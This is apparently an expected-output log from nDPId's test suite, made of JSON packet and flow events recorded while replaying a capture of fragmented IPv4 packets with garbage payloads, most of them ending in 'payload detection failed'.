+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563847,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563859,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563887,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563901,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563914,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563941,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563954,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563973,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563985,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564013,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564026,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564038,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564051,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564068,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564082,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564096,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564109,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564122,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564134,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564148,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564174,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564201,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":564214,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkdGREVXI0Ak"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1534244029864,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":9566,"dst_port":18498,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864332,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiVeSEJHVgo0MjE0NjMxOThZagAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864365,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864389,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864403,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864463,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864475,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864485,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864525,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864538,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864551,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864564,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":864576,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 